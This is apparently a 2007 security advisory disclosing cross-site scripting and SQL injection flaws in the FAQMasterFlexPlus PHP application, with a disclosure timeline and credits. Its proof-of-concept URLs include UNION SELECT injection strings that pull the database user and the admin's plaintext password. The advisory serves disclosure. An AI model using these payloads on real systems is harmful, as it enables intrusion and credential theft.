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- Security Advisory -
- FAQMasterFlexPlus multiple vulnerabilities -
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Product: FAQMasterFlexPlus
Version: Latest version is affected, other not tested
Vendor: http://www.netbizcity.com
Affected by: Cross-Site Scripting & SQL injection
I. Introduction.
FaqMasterFlexPlus is a free, database-driven web-based application written
in php for creating and maintaining
Frequently Asked Questions (FAQs) on your web site.
It has language support and features according documentation are: "Allow to
create unlimited categories and unlimited
Questions/Answers and has web-based category and FAQ administration with
Add, Edit, Delete Capability.",
It's free software, released under the GNU General Public Lisence (GPL).
Works with php & mysql and comes bundled in some versions of Fantastico
(Cpanel X).
II. Description
Multiple flaws in FaqMasterFlexPlus have been discovered:
1) Cross Site Scripting:
The script faq.php suffers an XSS bug, specifically the variable $cat_name
it's not properly sanitized,
an attacker exploiting this flaw can perform an XSS attack to access the
targeted user cookies.
All Admin scripts to add/edit/delete categories and add/edit/delete faq
don't parse correctly the user supplied input too.
PoC:
http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS]
2) SQL Injection (to exploit this issue it's necesarry magic_quotes_gpc set
to Off in the php.ini file).
All the scripts suffers for sql injections attacks in the querys to the
database.
PoC:
http://www.example.com/[path/to/faq]/faq.
php?category_id=1'%20union%20select%201,1,user(),1/*
Then get a new line like this:
Q faquser@localhost
or a Proof of Concept to get the admin password:
http://www.example.com/[path/to/faq]/faq.
php?category_id=1'%20union%20select%201,1,passwrd,
1%20from%20users%20where%20userid='admin
Q supersecretpassword
bingo! ;)
Besides password is stored in plain text, this is a big security flaw.
This software is infected with many bugs and must be fully audited for
enforce the security.
III. Timeline
08/05/2007 - Bugs discovered
10/05/2007 - Vendor Contact (No Response)
12/12/2007 - Vendor Contacted Again (No Response)
28/12/2007 - Advisory Disclosure
IV. Credits
Juan Galiana <jgaliana gmail com>
Regards
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